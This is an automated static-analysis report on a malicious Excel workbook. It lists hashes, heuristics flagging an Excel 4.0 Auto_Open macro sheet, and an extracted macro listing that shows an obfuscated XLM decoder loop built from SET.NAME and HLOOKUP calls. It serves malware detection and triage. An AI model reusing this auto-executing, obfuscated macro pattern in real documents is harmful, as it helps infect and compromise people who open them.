Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f5b783b91666cf79…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:43 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 0062e69054189776cc5479c020743959 SHA-1: dc6d1dd28305e97b567366a320d13e957c6c72e0 SHA-256: f5b783b91666cf796b0bcdb1f4dc195b3d582246580fae4da51ee59c42c1f0f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6748 bytes
SHA-256: 953a61ad531a14735c39abaf0392df6216ddc8364e26b9b6ba509215b3a32f29
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xoFxHQw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E171 
' 0018     25 LABEL : Cell Value, String Constant - BIJufYdozD len=0 
' 0018     20 LABEL : Cell Value, String Constant - BjJzH len=0 
' 0018     22 LABEL : Cell Value, String Constant - euhbWDc len=0 
' 0018     24 LABEL : Cell Value, String Constant - GIiJNMyrK len=0 
' 0018     27 LABEL : Cell Value, String Constant - hZgTEInQIyYu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ieoCxdn len=0 
' 0018     23 LABEL : Cell Value, String Constant - itIBeYiK len=0 
' 0018     27 LABEL : Cell Value, String Constant - JSNWJdvhuntG len=0 
' 0018     20 LABEL : Cell Value, String Constant - LBKAm len=0 
' 0018     26 LABEL : Cell Value, String Constant - nySWzIleNkO len=0 
' 0018     25 LABEL : Cell Value, String Constant - qEhqhIrelw len=0 
' 0018     20 LABEL : Cell Value, String Constant - suxvo len=0 
' 0018     25 LABEL : Cell Value, String Constant - uGHIHxaWTz len=0 
' 0018     20 LABEL : Cell Value, String Constant - vAyOE len=0 
' 0018     25 LABEL : Cell Value, String Constant - VcbOXdtGQj len=0 
' 0018     22 LABEL : Cell Value, String Constant - vLPagud len=0 
' 0018     22 LABEL : Cell Value, String Constant - vutvyOj len=0 
' 0018     21 LABEL : Cell Value, String Constant - WgLswa len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZOWefb len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZQNUkkpDuFYl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xoFxHQw,R62,"",128.00000000000000000000
'  xoFxHQw,R63,"",258.00000000000000000000
'  xoFxHQw,R64,"",-464.00000000000000000000
'  xoFxHQw,R65,"",138.00000000000000000000
'  xoFxHQw,R66,"",834.00000000000000000000
'  xoFxHQw,R67,"",7.00000000000000000000
'  xoFxHQw,E70,"SET.NAME("hZgTEInQIyYu",0+VALUE("0"))",""
'  xoFxHQw,E73,"SET.NAME("BjJzH",hZgTEInQIyYu)",""
'  xoFxHQw,E78,"SET.NAME("LBKAm",hZgTEInQIyYu)",""
'  xoFxHQw,E81,"SET.NAME("ZOWefb",COUNTA(BIJufYdozD))",""
'  xoFxHQw,E86,"SET.NAME("euhbWDc",COUNTA(vLPagud))",""
'  xoFxHQw,E90,[],""
'  xoFxHQw,E95,"SET.NAME("WgLswa","")",""
'  xoFxHQw,E99,"BjJzH",""
'  xoFxHQw,E102,"SET.NAME("uGHIHxaWTz",HLOOKUP("*",BIJufYdozD,BjJzH,FALSE))",""
'  xoFxHQw,E107,"GIiJNMyrK",""
'  xoFxHQw,E112,"SET.NAME("ieoCxdn",hZgTEInQIyYu)",""
'  xoFxHQw,E117,[],""
'  xoFxHQw,E119,"ieoCxdn",""
'  xoFxHQw,E122,"itIBeYiK",""
'  xoFxHQw,E124,"nySWzIleNkO",""
'  xoFxHQw,E127,"ZQNUkkpDuFYl",""
'  xoFxHQw,E132,"SET.NAME("vAyOE",VALUE(HLOOKUP("*",vLPagud,ZQNUkkpDuFYl,FALSE)))",""
'  xoFxHQw,E134,"qEhqhIrelw",""
'  xoFxHQw,E138,"WgLswa",""
'  xoFxHQw,E143,"LBKAm",""
'  xoFxHQw,E148,NEXT(),""
'  xoFxHQw,E153,"JSNWJdvhuntG",""
'  xoFxHQw,E157,[],""
'  xoFxHQw,E161,"vutvyOj",""
'  xoFxHQw,E164,NEXT(),""
'  xoFxHQw,E166,RETURN(),""
'  xoFxHQw,E191,"SET.NAME("suxvo",E70)",""
'  xoFxHQw,E195,"BIJufYdozD",""
'  xoFxHQw,E197,"SET.NAME("vLPagud",R60C13)",""
'  xoFxHQw,E202,"SET.NAME("vutvyOj",210)",""
'  xoFxHQw,E205,"SET.NAME("VcbOXdtGQj",5)",""
'  xoFxHQw,E209,suxvo(),""
'  xoFxHQw,E210,HALT(),""

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